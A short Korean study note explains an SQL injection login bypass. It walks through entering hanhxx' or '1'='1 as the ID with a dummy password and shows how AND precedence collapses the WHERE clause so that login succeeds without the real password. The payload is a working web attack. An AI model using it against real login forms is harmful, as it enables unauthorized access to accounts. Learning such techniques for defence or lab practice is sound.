' or '1'='1
DATE : 2023/11/29
개행이 포함된 Query를 우회하기 위해서 우리는
' or '1'='1
를 사용할 수 있다.
우리의 목적은 로그인 우회이기 때문에 hanhxx의 비밀번호를 모른다는 가정 하에 아래와 같이
ID : hanhxx' or '1'='1
PASS : idk
> SELECT * FROM member WHERE id='hanhxx' or '1'='1' and
pass='idk'
계정을 입력하게 되면 결과적으로 익숙한 형태의 Query가 완성된다.
SELECT * FROM member WHERE id='hanhxx' or '1'='1' and pass='idk'
이 Query에는 and, or 연산자가 포함되어 있고 and 연산의 우선순위가 더 높기 때문에
> '1'='1' and pass='idk'
> pass = 'idk'
WHERE문의 내용은 결과적으로
SELECT * FROM member WHERE id='hanhxx' or pass='idk'
id가 hanhxx이거나 password가 idk인 ROW에 대해 로그인을 성공하게 된다.
즉 hanhxx의 비밀번호를 모르더라도 한 쪽의 조건을 true로 만들기 때문에 로그인 우회가 가능해진다!!

실제로 값을 넣어보면

로그인에 성공하는 걸 확인할 수 있을 것이다. 🤗
Last updated